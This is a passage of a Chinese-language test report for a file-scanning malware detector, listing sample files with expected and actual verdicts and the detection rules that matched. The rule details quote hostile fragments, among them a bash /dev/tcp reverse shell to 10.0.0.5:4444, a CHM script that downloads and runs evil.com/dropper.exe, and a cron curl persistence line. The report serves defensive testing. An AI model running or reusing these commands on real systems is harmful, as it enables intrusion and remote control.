||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-013 — `L5-013_pe64.exe`
|
||
|
||
- **描述**: 64 位识别占位
|
||
- **文件大小**: 926 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-014 — `L5-014_clean_tool.exe`
|
||
|
||
- **描述**: PE导入表大量系统API(正常工具)
|
||
- **文件大小**: 926 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-015 — `L5-015_bad_reloc.exe`
|
||
|
||
- **描述**: 重定位表损坏占位
|
||
- **文件大小**: 928 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=75.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
#### ✅ L5-016 — `L5-016_zero_sections.exe`
|
||
|
||
- **描述**: 无节表最小 PE
|
||
- **文件大小**: 376 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=75.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
#### ✅ L5-017 — `L5-017_upx_rwx.exe`
|
||
|
||
- **描述**: UPX壳 + RWX节复合特征
|
||
- **文件大小**: 926 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 |
|
||
|
||
#### ✅ L5-018 — `L5-018_debug_info.exe`
|
||
|
||
- **描述**: 调试信息占位
|
||
- **文件大小**: 926 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-019 — `L5-019_200mb_huge.exe`
|
||
|
||
- **描述**: 200MB 超大 PE(占位,真实生成会写满磁盘)
|
||
- **文件大小**: 1,026 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-020 — `L5-020_layer_off_sample.bin`
|
||
|
||
- **描述**: 关闭分层开关测试占位
|
||
- **文件大小**: 928 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 PE32 executable for Unknown subsystem 0, Intel i386(.exe) |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `high` | `RWXSectionDetected` | 40.0 | 检测到可写且可执行的危险节:.text |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
### L7
|
||
|
||
#### ✅ L7-001 — `broken.zip`
|
||
|
||
- **描述**: 损坏 ZIP
|
||
- **文件大小**: 125 B
|
||
- **预期**: `clean`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L7-002 — `evil.iso`
|
||
|
||
- **描述**: 恶意 ISO 镜像
|
||
- **文件大小**: 32,775 B
|
||
- **预期**: `suspicious`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.iso
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.iso |
|
||
|
||
#### ✅ L7-003 — `evil_help.chm`
|
||
|
||
- **描述**: 含脚本 CHM 帮助
|
||
- **文件大小**: 1,691 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ChmWithScript 命中:CHM 帮助文件包含脚本/可执行引用:VBScript">Shell "cmd.exe /c curl http://evil; p://evil.com/dropper.exe -o C:\Windows\Temp\; -o C:\Windows\Temp\a.exe && C:\Windows\Temp\
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.chm |
|
||
| `structure` | `L0` | `critical` | `ChmWithScript` | 80.0 | CHM 帮助文件包含脚本/可执行引用:VBScript">Shell "cmd.exe /c curl http://evil; p://evil.com/dropper.exe -o C:\Windows\Temp\; -o C:\Win |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
|
||
|
||
#### ✅ L7-004 — `linux_malicious`
|
||
|
||
- **描述**: Linux 恶意脚本集
|
||
- **文件大小**: 71 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 LinuxExecutable 命中:检测到 Linux ELF 原生可执行文件:linux_malicious
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `LinuxExecutable` | 85.0 | 检测到 Linux ELF 原生可执行文件:linux_malicious |
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['bash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L7-005 — `lolbin.cmd`
|
||
|
||
- **描述**: LOLBin cmd 混淆
|
||
- **文件大小**: 114 B
|
||
- **预期**: `suspicious`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.cmd
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.cmd |
|
||
| `keywords` | `L2B` | `medium` | `CommandExecutionObfuscated` | 25.0 | 词表命中:CommandExecutionObfuscated(模式=regex),命中 1 处:['@echo offcertutil -decode http://ev'] |
|
||
|
||
#### ✅ L7-006 — `macro_alert.docm`
|
||
|
||
- **描述**: 含 VBA 宏 DOCM
|
||
- **文件大小**: 2,586 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 VBAAutoExecShell 命中:VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `document` | `L2` | `critical` | `VBAAutoExecShell` | 70.0 | VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ebClient).DownloadString(http://ev'] |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] |
|
||
|
||
#### ✅ L7-007 — `malicious.desktop`
|
||
|
||
- **描述**: 恶意 .desktop 反序列化
|
||
- **文件大小**: 114 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 DesktopFileAutoExec 命中:.desktop 文件 Exec 字段包含危险命令(Shell 包含 /dev/tcp 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.desktop |
|
||
| `structure` | `L0` | `critical` | `DesktopFileAutoExec` | 85.0 | .desktop 文件 Exec 字段包含危险命令(Shell 包含 /dev/tcp 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' |
|
||
| `structure` | `L0` | `critical` | `DesktopFileAutoExec` | 85.0 | .desktop 文件 Exec 字段包含危险命令(Shell 包含 bash -i 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' |
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["=bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Misc` | 25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L7-008 — `malicious.pdf`
|
||
|
||
- **描述**: 含 JS/Action PDF
|
||
- **文件大小**: 534 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 PdfOpenAction 命中:PDF 定义了打开时自动执行的动作
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `document` | `L2` | `high` | `PdfOpenAction` | 50.0 | PDF 定义了打开时自动执行的动作 |
|
||
| `document` | `L2` | `critical` | `PdfJavaScript` | 70.0 | PDF OpenAction 直接包含 JavaScript 动作 |
|
||
|
||
#### ✅ L7-009 — `miner_config.json`
|
||
|
||
- **描述**: 挖矿配置文件
|
||
- **文件大小**: 123 B
|
||
- **预期**: `suspicious`
|
||
- **实际**: `suspicious` (score=45.0, action=manual_review)
|
||
- **判定理由**: 风险评分 45.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `yara` | `L2B` | `low` | `C7_Linux_Miner_Generic` | 45.0 | YARA 规则 C7_Linux_Miner_Generic 命中(标签:无) |
|
||
|
||
#### ✅ L7-010 — `normal.pdf`
|
||
|
||
- **描述**: 干净 PDF 对照
|
||
- **文件大小**: 439 B
|
||
- **预期**: `clean`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L7-011 — `normal_deploy.sh`
|
||
|
||
- **描述**: 运维部署脚本(误报)
|
||
- **文件大小**: 155 B
|
||
- **预期**: `suspicious`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.sh
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh |
|
||
|
||
#### ✅ L7-012 — `normal_readme.txt`
|
||
|
||
- **描述**: 干净 README 对照
|
||
- **文件大小**: 162 B
|
||
- **预期**: `clean`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L7-013 — `normal_report.docx`
|
||
|
||
- **描述**: 干净 DOCX 对照
|
||
- **文件大小**: 1,212 B
|
||
- **预期**: `clean`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L7-014 — `ole_dropper.doc`
|
||
|
||
- **描述**: OLE 投递 DOC
|
||
- **文件大小**: 1,641 B
|
||
- **预期**: `suspicious`
|
||
- **实际**: `suspicious` (score=35.0, action=manual_review)
|
||
- **判定理由**: keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['ualAllocExCreateRemoteThread']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `document` | `L2` | `low` | `OleToolsUnavailable` | 0.0 | VBA 宏解析失败:'NoneType' object has no attribute 'name' |
|
||
| `keywords` | `L2B` | `high` | `RemoteSessionHijack` | 35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['ualAllocExCreateRemoteThread'] |
|
||
|
||
#### ✅ L7-015 — `pe_downloader.exe`
|
||
|
||
- **描述**: PE 下载木马
|
||
- **文件大小**: 1,148 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `yara` | `L2B` | `low` | `C1_PE_Downloader_Loader` | 65.0 | YARA 规则 C1_PE_Downloader_Loader 命中(标签:无) |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'NT Headers not found.' |
|
||
|
||
#### ✅ L7-016 — `pe_injection.exe`
|
||
|
||
- **描述**: PE 注入程序
|
||
- **文件大小**: 1,129 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['cessMemoryCreateRemoteThreadOpenProces']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `keywords` | `L2B` | `high` | `RemoteSessionHijack` | 35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['cessMemoryCreateRemoteThreadOpenProces'] |
|
||
| `yara` | `L2B` | `low` | `C1_PE_ProcessInjection` | 85.0 | YARA 规则 C1_PE_ProcessInjection 命中(标签:无) |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'NT Headers not found.' |
|
||
|
||
#### ✅ L7-017 — `persist_cron.sh`
|
||
|
||
- **描述**: Crontab 持久化脚本
|
||
- **文件大小**: 95 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ShellScriptDangerous 命中:脚本包含危险函数(脚本 curl 下载并管道执行)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh |
|
||
| `structure` | `L0` | `high` | `ShellScriptDangerous` | 65.0 | 脚本包含危险函数(脚本 curl 下载并管道执行) |
|
||
| `structure` | `L0` | `high` | `ShellScriptDangerous` | 65.0 | 脚本包含危险函数(脚本包含 cron 持久化) |
|
||
| `clamav` | `L1` | `high` | `Txt.Malware.Sustes-6779550-1` | 85.0 | ClamAV 签名命中:Txt.Malware.Sustes-6779550-1 |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['* * * * * curl http://ev'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_Persistence_Crontab` | 65.0 | YARA 规则 C7_Linux_Persistence_Crontab 命中(标签:无) |
|
||
|
||
#### ✅ L7-018 — `phishing.eml`
|
||
|
||
- **描述**: 钓鱼邮件 EML
|
||
- **文件大小**: 1,869 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件;邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件;邮件附件存在双扩展名伪装,高风险钓鱼特征
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 紧急操作催促(钓鱼常用) |
|
||
| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 要求点击链接验证账号 |
|
||
| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 索要密码/凭证 |
|
||
| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 诱导转账/支付 |
|
||
| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 伪装发票/订单/收据(附件可能带毒) |
|
||
| `document` | `L2` | `high` | `EmailAttachmentDangerous` | 55.0 | 邮件附件为高风险类型: invoice.vbs |
|
||
| `document` | `L2` | `high` | `EmailAttachmentDangerous` | 55.0 | 邮件附件为高风险类型: invoice.pdf.vbs |
|
||
| `document` | `L2` | `high` | `EmailAttachmentDisguised` | 45.0 | 附件可能存在双扩展名伪装: invoice.pdf.vbs |
|
||
| `document` | `L2` | `high` | `EmailAttachmentDangerous` | 55.0 | 邮件附件为高风险类型: form.js |
|
||
| `document` | `L2` | `critical` | `EmailAttachmentWebshell` | 70.0 | 附件内容疑似 Webshell: form.js |
|
||
|
||
#### ✅ L7-019 — `photo.jpg.php`
|
||
|
||
- **描述**: 双扩展名伪装 .jpg.php
|
||
- **文件大小**: 29 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .php 不在允许清单内
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:photo.jpg.php |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.php |
|
||
| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:photo.jpg.php |
|
||
|
||
#### ✅ L7-020 — `ransom_dropper.exe.txt`
|
||
|
||
- **描述**: 勒索软件投递器
|
||
- **文件大小**: 215 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: yara:YARA 规则 C8_Ransomware_Encryption 命中(标签:无);yara:YARA 规则 C8_Ransomware_Note_Filename 命中(标签:无);yara:YARA 规则 C8_Ransomware_VolumeShadow 命中(标签:无)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `yara` | `L2B` | `critical` | `C8_Ransomware_Encryption` | 85.0 | YARA 规则 C8_Ransomware_Encryption 命中(标签:无) |
|
||
| `yara` | `L2B` | `critical` | `C8_Ransomware_Note_Filename` | 65.0 | YARA 规则 C8_Ransomware_Note_Filename 命中(标签:无) |
|
||
| `yara` | `L2B` | `critical` | `C8_Ransomware_VolumeShadow` | 65.0 | YARA 规则 C8_Ransomware_VolumeShadow 命中(标签:无) |
|
||
|
||
#### ✅ L7-021 — `sealed.docx`
|
||
|
||
- **描述**: 加密 DOCX(被视为损坏)
|
||
- **文件大小**: 6,656 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件已加密,无法进行完整静态分析,按策略拒绝
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
|
||
| `document` | `L2` | `medium` | `OfficeEncrypted` | 25.0 | Office 文档已加密(密码保护),无法进行完整静态分析 |
|
||
| `document` | `L2` | `low` | `OoxmlParseFailed` | 0.0 | OOXML 容器解析失败:File is not a zip file |
|
||
| `extractor` | `L0` | `medium` | `ArchiveBroken` | 10.0 | ZIP 结构损坏:File is not a zip file |
|
||
|
||
#### ✅ L7-022 — `sealed.xlsx`
|
||
|
||
- **描述**: 加密 XLSX(被视为损坏)
|
||
- **文件大小**: 6,656 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件已加密,无法进行完整静态分析,按策略拒绝
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .xlsx,实际内容为 CDFV2 Encrypted(.doc) |
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
|
||
| `document` | `L2` | `medium` | `OfficeEncrypted` | 25.0 | Office 文档已加密(密码保护),无法进行完整静态分析 |
|
||
| `document` | `L2` | `low` | `OoxmlParseFailed` | 0.0 | OOXML 容器解析失败:File is not a zip file |
|
||
| `extractor` | `L0` | `medium` | `ArchiveBroken` | 10.0 | ZIP 结构损坏:File is not a zip file |
|
||
|
||
#### ✅ L7-023 — `shell_aspx.aspx`
|
||
|
||
- **描述**: ASPX 一句话木马
|
||
- **文件大小**: 169 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .aspx 不在允许清单内
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.aspx |
|
||
|
||
#### ✅ L7-024 — `shell_bash_devtcp.sh`
|
||
|
||
- **描述**: Bash /dev/tcp 反弹
|
||
- **文件大小**: 51 B
|
||
- **预期**: `malicious`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ShellScriptDangerous 命中:脚本包含反弹 Shell 特征(bash -i 反弹 Shell)
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh |
|
||
| `structure` | `L0` | `critical` | `ShellScriptDangerous` | 85.0 | 脚本包含反弹 Shell 特征(bash -i 反弹 Shell) |
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['!/bin/bashbash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L7-025 — `shell_jsp_runtime.jsp`
|
||
|
||
- **描述**: JSP Runtime exec 木马
|
||
- **文件大小**: 316 B
|
||
- **预期**: `reject`
|
||
